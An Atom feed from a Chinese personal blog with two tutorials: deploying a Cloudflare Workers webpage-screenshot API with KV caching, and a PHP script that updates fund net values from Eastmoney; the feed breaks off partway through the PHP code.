<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>谨行</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://careful.fyi/</id>
  <link href="https://careful.fyi/" rel="alternate"/>
  <link href="https://careful.fyi/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 谨行</rights>
  <subtitle>分享技术、新知、生活中的琐碎日常。</subtitle>
  <title>谨言慎行</title>
  <updated>2026-03-02T08:57:51.000Z</updated>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="API" scheme="https://careful.fyi/tags/API/"/>
    <category term="CloudFlare" scheme="https://careful.fyi/tags/CloudFlare/"/>
    <category term="Hexo" scheme="https://careful.fyi/tags/Hexo/"/>
    <content>
      <![CDATA[<p>最近使用Hexo重建了我的博客，使用Stellar主题过程中，在友链部分需要填入网站封面，太过繁琐，所以考虑部署一个网页截图API来实现，搜索过后发现已经有博主使用Cloudflare Workers通过Cloudflare的“浏览器呈现”功能来实现了自动获取网页截图（<a href="https://mabbs.github.io/2025/07/24/screenshot.html">使用Cloudflare制作自动更新的网站预览图</a>），但博主仅自用很多代码均为写死的，遂拿过来改动一番。</p><h2 id="部署教程"><a href="#部署教程" class="headerlink" title="部署教程"></a>部署教程</h2><h3 id="创建相关服务"><a href="#创建相关服务" class="headerlink" title="创建相关服务"></a>创建相关服务</h3><p>API接口运行于Cloudflare Workers，并依赖Workers KV服务来存储截图数据，你需要在Cloudflare新建一个Workers服务（Compute菜单中）和Workers KV（存储和数据库菜单中），名称随意。</p><h3 id="绑定KV命名空间"><a href="#绑定KV命名空间" class="headerlink" title="绑定KV命名空间"></a>绑定KV命名空间</h3><p>点进创建好的Workers服务，依次点击绑定、添加绑定、KV命名空间，将创建好的KV绑定到Worker服务中，变量名称需保证为<code>SCREENSHOT</code>。</p><p><img src="https://static.careful.fyi/uploads/2026/03/83264f908e3a4c3e8904b6ad5dc34a1b.png" alt="image"></p><h3 id="部署代码"><a href="#部署代码" class="headerlink" title="部署代码"></a>部署代码</h3><p>点击右上角的编辑代码，将下面的代码粘贴进去，后点击部署即可。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> &#123;</span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">fetch</span>(<span class="params">request, env, ctx</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> cache = caches.<span class="property">default</span>;</span><br><span class="line">    <span class="keyword">const</span> kv = env.<span class="property">SCREENSHOT</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> requestUrl = <span class="keyword">new</span> <span class="title function_">URL</span>(request.<span class="property">url</span>);</span><br><span class="line">    <span class="keyword">const</span> targetUrl = requestUrl.<span class="property">searchParams</span>.<span class="title function_">get</span>(<span class="string">&quot;url&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!targetUrl) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="string">&quot;Missing &#x27;url&#x27; parameter&quot;</span>, &#123; <span class="attr">status</span>: <span class="number">400</span> &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> referer = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">&quot;referer&quot;</span>) || <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">const</span> origin = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">&quot;origin&quot;</span>) || <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">const</span> allowedDomains = env.<span class="property">ALLOWED_DOMAINS</span> ? env.<span class="property">ALLOWED_DOMAINS</span>.<span class="title function_">split</span>(<span class="string">&quot;,&quot;</span>) : [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> isAllowed = allowedDomains.<span class="title function_">some</span>(<span class="function"><span class="params">domain</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">const</span> trimmedDomain = domain.<span class="title function_">trim</span>();</span><br><span class="line">      <span class="keyword">return</span> referer.<span class="title function_">includes</span>(trimmedDomain) || origin.<span class="title function_">includes</span>(trimmedDomain);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (allowedDomains.<span class="property">length</span> &gt; <span class="number">0</span> &amp;&amp; !isAllowed) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="string">&quot;Access denied: request not from allowed domain&quot;</span>, &#123; <span class="attr">status</span>: <span class="number">403</span> &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> date = <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toISOString</span>().<span class="title function_">split</span>(<span class="string">&quot;T&quot;</span>)[<span class="number">0</span>];</span><br><span class="line">    <span class="keyword">const</span> cacheKey = targetUrl;</span><br><span class="line">    <span class="keyword">const</span> datedKey = <span class="string">`<span class="subst">$&#123;targetUrl&#125;</span>?<span class="subst">$&#123;date&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 工具函数：构建 Response 对象</span></span><br><span class="line">    <span class="keyword">const</span> <span class="title function_">buildResponse</span> = (<span class="params">buffer</span>) =&gt;</span><br><span class="line">      <span class="keyword">new</span> <span class="title class_">Response</span>(buffer, &#123;</span><br><span class="line">        <span class="attr">headers</span>: &#123;</span><br><span class="line">          <span class="string">&quot;content-type&quot;</span>: <span class="string">&quot;image/png&quot;</span>,</span><br><span class="line">          <span class="string">&quot;cache-control&quot;</span>: <span class="string">&quot;public, max-age=86400, immutable&quot;</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">      &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 工具函数：尝试从 KV 和 Cache 中加载已有截图</span></span><br><span class="line">    <span class="keyword">const</span> <span class="title function_">tryGetCachedResponse</span> = <span class="keyword">async</span> (<span class="params">key</span>) =&gt; &#123;</span><br><span class="line">      <span class="keyword">let</span> res = <span class="keyword">await</span> cache.<span class="title function_">match</span>(key);</span><br><span class="line">      <span class="keyword">if</span> (res) <span class="keyword">return</span> res;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> kvData = <span class="keyword">await</span> kv.<span class="title function_">get</span>(key, &#123; <span class="attr">type</span>: <span class="string">&quot;arrayBuffer&quot;</span> &#125;);</span><br><span class="line">      <span class="keyword">if</span> (kvData) &#123;</span><br><span class="line">        res = <span class="title function_">buildResponse</span>(kvData);</span><br><span class="line">        ctx.<span class="title function_">waitUntil</span>(cache.<span class="title function_">put</span>(key, res.<span class="title function_">clone</span>()));</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 1. 优先使用当日缓存</span></span><br><span class="line">    <span class="keyword">let</span> res = <span class="keyword">await</span> <span class="title function_">tryGetCachedResponse</span>(datedKey);</span><br><span class="line">    <span class="keyword">if</span> (res) <span class="keyword">return</span> res;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 2. 若缓存不存在，则请求 Cloudflare Screenshot API</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">const</span> payload = &#123;</span><br><span class="line">        <span class="attr">url</span>: targetUrl,</span><br><span class="line">        <span class="attr">viewport</span>: &#123; <span class="attr">width</span>: <span class="number">1200</span>, <span class="attr">height</span>: <span class="number">800</span> &#125;,</span><br><span class="line">        <span class="attr">gotoOptions</span>: &#123; <span class="attr">waitUntil</span>: <span class="string">&quot;networkidle0&quot;</span> &#125;,</span><br><span class="line">      &#125;;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> apiRes = <span class="keyword">await</span> <span class="title function_">fetch</span>(</span><br><span class="line">        <span class="string">`https://api.cloudflare.com/client/v4/accounts/<span class="subst">$&#123;env.CF_ACCOUNT_ID&#125;</span>/browser-rendering/screenshot?cacheTTL=86400`</span>,</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="attr">method</span>: <span class="string">&quot;POST&quot;</span>,</span><br><span class="line">          <span class="attr">headers</span>: &#123;</span><br><span class="line">            <span class="title class_">Authorization</span>: <span class="string">`Bearer <span class="subst">$&#123;env.CF_API_TOKEN&#125;</span>`</span>,</span><br><span class="line">            <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">          &#125;,</span><br><span class="line">          <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(payload),</span><br><span class="line">        &#125;</span><br><span class="line">      );</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!apiRes.<span class="property">ok</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">`API returned <span class="subst">$&#123;apiRes.status&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> buffer = <span class="keyword">await</span> apiRes.<span class="title function_">arrayBuffer</span>();</span><br><span class="line">      res = <span class="title function_">buildResponse</span>(buffer);</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 后台缓存更新</span></span><br><span class="line">      ctx.<span class="title function_">waitUntil</span>(<span class="title class_">Promise</span>.<span class="title function_">all</span>([</span><br><span class="line">        kv.<span class="title function_">put</span>(cacheKey, buffer),</span><br><span class="line">        kv.<span class="title function_">put</span>(datedKey, buffer, &#123; <span class="attr">expirationTtl</span>: <span class="number">86400</span> &#125;),</span><br><span class="line">        cache.<span class="title function_">put</span>(cacheKey, res.<span class="title function_">clone</span>()),</span><br><span class="line">        cache.<span class="title function_">put</span>(datedKey, res.<span class="title function_">clone</span>()),</span><br><span class="line">      ]));</span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span> res;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Screenshot generation failed:&quot;</span>, err);</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 3. 回退到通用旧缓存</span></span><br><span class="line">      res = <span class="keyword">await</span> <span class="title function_">tryGetCachedResponse</span>(cacheKey);</span><br><span class="line">      <span class="keyword">if</span> (res) <span class="keyword">return</span> res;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="string">&quot;Screenshot generation failed&quot;</span>, &#123; <span class="attr">status</span>: <span class="number">502</span> &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h3 id="配置环境变量"><a href="#配置环境变量" class="headerlink" title="配置环境变量"></a>配置环境变量</h3><p>代码部署完还不能立马使用，因为这个API实际是调用Cloudflare 的“浏览器呈现”功能来实现，所以还需要为服务添加Cloudflare令牌。</p><p>进入到账户API令牌管理页面，创新一个新的令牌，只需要拥有浏览器呈现的编辑权限即可，可参考下图配置。</p><p><img src="https://static.careful.fyi/uploads/2026/03/db0508810447816fe14e7d6e23733853.png" alt="image"></p><p>接下来需要将得到的API TOKEN填入到环境变量中，为了避免接口被盗用，最好配置上<code>ALLOWED_DOMAINS</code>，仅允许指定域名调用。</p><table><thead><tr><th>名称</th><th>值（示例）</th><th>说明</th></tr></thead><tbody><tr><td>​<code>ALLOWED_DOMAINS</code></td><td>careful.fyi,localhost</td><td>配置允许调用API接口的域名，以逗号分隔，留空则允许所有域名调用</td></tr><tr><td>​<code>CF_ACCOUNT_ID</code></td><td>​<code>hpk6jwuvna4u75dzwpj2a4582wwebjxe</code></td><td>Cloudflare账户ID</td></tr><tr><td>​<code>CF_API_TOKEN</code></td><td>​<code>fs3xuwbvy834yf8hxh2jyuwuabec587x</code></td><td>API TOKEN，需拥有浏览器呈现权限</td></tr></tbody></table><p>服务仅使用referer和origin来进行访问控制，但这两个参数又非常容易伪造，存在被滥用的风险，但个人使用已是足够，感兴趣的可加以改进，提升安全性。</p><h2 id="API接口调用"><a href="#API接口调用" class="headerlink" title="API接口调用"></a>API接口调用</h2><p>调用方法很简单，通过<code>[API接口地址]?url=[目标地址]</code>格式即可返回网页的最新截图，例如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://careful.fyi/api/screenshot/?url=https://careful.fyi</span><br></pre></td></tr></table></figure><p>‍</p>]]>
    </content>
    <id>https://careful.fyi/posts/1772432122/</id>
    <link href="https://careful.fyi/posts/1772432122/"/>
    <published>2026-03-02T06:15:22.000Z</published>
    <summary>
      <![CDATA[<p>最近使用Hexo重建了我的博客，使用Stellar主题过程中，在友链部分需要填入网站封面，太过繁琐，所以考虑部署一个网页截图API来实现，搜索过后发现已经有博主使用Cloudflare Workers通过Cloudflare的“浏览器呈现”功能来实现了自动获取网页截图（<a]]>
    </summary>
    <title>使用CloudFlare Workers搭建网页截图API</title>
    <updated>2026-03-02T08:57:51.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="基金理财" scheme="https://careful.fyi/tags/%E5%9F%BA%E9%87%91%E7%90%86%E8%B4%A2/"/>
    <content>
      <![CDATA[<p>今年开始理财，但因为购买渠道众多导致持仓比较分散需要打开各个 APP 查看盈亏情况，所以给博客加了一个自动更新持仓净值的页面（参考：<a href="https://careful.fyi/funds">示例页面</a>）。主要使用的是天天基金的 API 接口。</p><p>代码分 3 个文件，分别是用以自动更新基金净值的 <code>update_funds.php</code>​,用以存储基金信息的 <code>funds.json</code>，以及用以展示基金信息的模板文件。</p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>首先需要把 update_funds.php 文件上传到支持 php 的 web 服务器中，然后在&#x2F;data 目录创建名为 <code>funds.json</code> ​的数据文件，其中 <code>name、code、cost_price、shares</code> ​四个字段需要手动填写，分别对应基金名称、基金代码、持仓成本、持仓份额，每次 <code>update_funds.php</code> ​文件时，脚本会把最新的净值写入到 <code>latest_net_value</code> ​字段中并将更新时间写入到 <code>last_updated</code> ​中，可以考虑设置计划任务来定期访问该脚本。</p><p>另外可以向 json 中加入 <code>update_enabled</code> ​字段，当值为 false 时，会跳过更新基金净值，可以在基金清仓后添加，用以跳过基金净值更新。</p><p>前端展现的代码仅供参考，原理无非就是调取 <code>funds.json</code> ​文件中的内容，并计算出收益（(最新净值-持仓成本)*持仓份额）、收益率在前端页面展现。</p><h3 id="update-funds-php"><a href="#update-funds-php" class="headerlink" title="update_funds.php"></a>update_funds.php</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * 基金净值自动更新脚本</span></span><br><span class="line"><span class="comment"> * 数据源：https://fund.eastmoney.com/</span></span><br><span class="line"><span class="comment"> * 配置文件：funds.json</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 配置参数 ================================================</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;USER_AGENTS&#x27;</span>, [</span><br><span class="line">    <span class="string">&#x27;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15&#x27;</span></span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;REQUEST_DELAY&#x27;</span>, <span class="number">1</span>); <span class="comment">// 请求间隔(秒)</span></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;MAX_RETRY&#x27;</span>, <span class="number">2</span>);     <span class="comment">// 单基金重试次数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 主程序 ==================================================</span></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">// 加载基金数据</span></span><br><span class="line">    <span class="variable">$funds</span> = <span class="title function_ invoke__">loadFundsData</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 遍历更新净值</span></span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$funds</span> <span class="keyword">as</span> &amp;<span class="variable">$fund</span>) &#123;</span><br><span class="line">        <span class="comment">// 新增逻辑：检查是否允许更新</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$fund</span>[<span class="string">&#x27;update_enabled&#x27;</span>]) &amp;&amp; !<span class="variable">$fund</span>[<span class="string">&#x27;update_enabled&#x27;</span>]) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;跳过更新：<span class="subst">&#123;$fund[&#x27;code&#x27;]&#125;</span> (已禁用更新)\n&quot;</span>;</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="variable">$result</span> = <span class="title function_ invoke__">fetchFundValue</span>(<span class="variable">$fund</span>[<span class="string">&#x27;code&#x27;</span>]);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 只更新净值相关字段</span></span><br><span class="line">            <span class="variable">$fund</span>[<span class="string">&#x27;latest_net_value&#x27;</span>] = <span class="variable">$result</span>[<span class="string">&#x27;value&#x27;</span>];</span><br><span class="line">            <span class="variable">$fund</span>[<span class="string">&#x27;last_updated&#x27;</span>] = <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;成功更新：<span class="subst">&#123;$fund[&#x27;code&#x27;]&#125;</span> =&gt; <span class="subst">&#123;$result[&#x27;value&#x27;]&#125;</span>\n&quot;</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;更新失败：<span class="subst">&#123;$fund[&#x27;code&#x27;]&#125;</span> - <span class="subst">&#123;$e-&gt;getMessage()&#125;</span>\n&quot;</span>;</span><br><span class="line">            <span class="title function_ invoke__">logError</span>(<span class="variable">$fund</span>[<span class="string">&#x27;code&#x27;</span>], <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>());</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 遵守请求间隔</span></span><br><span class="line">        <span class="title function_ invoke__">sleep</span>(REQUEST_DELAY);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 保存更新后的数据</span></span><br><span class="line">    <span class="title function_ invoke__">saveFundsData</span>(<span class="variable">$funds</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;全部更新完成！\n&quot;</span>;</span><br><span class="line">    </span><br><span class="line">&#125; <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;致命错误：&quot;</span> . <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 核心函数 ================================================</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 加载基金数据文件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">loadFundsData</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$filename</span> = <span class="string">&#x27;/data/funds.json&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">file_exists</span>(<span class="variable">$filename</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;基金数据文件不存在&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$data</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$filename</span>), <span class="literal">true</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">json_last_error</span>() !== JSON_ERROR_NONE) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;JSON解析错误：&quot;</span> . <span class="title function_ invoke__">json_last_error_msg</span>());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$data</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 保存基金数据文件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">saveFundsData</span>(<span class="params"><span class="variable">$data</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$json</span> = <span class="title function_ invoke__">json_encode</span>(<span class="variable">$data</span>, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">file_put_contents</span>(<span class="string">&#x27;/data/funds.json&#x27;</span>, <span class="variable">$json</span>) === <span class="literal">false</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;文件保存失败&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取基金净值（带重试机制）</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fetchFundValue</span>(<span class="params"><span class="variable">$code</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt;= MAX_RETRY; <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> [</span><br><span class="line">                <span class="string">&#x27;value&#x27;</span> =&gt; <span class="title function_ invoke__">getLatestNetValue</span>(<span class="variable">$code</span>),</span><br><span class="line">                <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">time</span>()</span><br><span class="line">            ];</span><br><span class="line">        &#125; <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="variable">$i</span> == MAX_RETRY) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="variable">$e</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="title function_ invoke__">usleep</span>(<span class="number">500000</span> * (<span class="variable">$i</span> + <span class="number">1</span>)); <span class="comment">// 递增延时</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 核心抓取逻辑</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getLatestNetValue</span>(<span class="params"><span class="variable">$code</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$ch</span> = <span class="title function_ invoke__">curl_init</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="title function_ 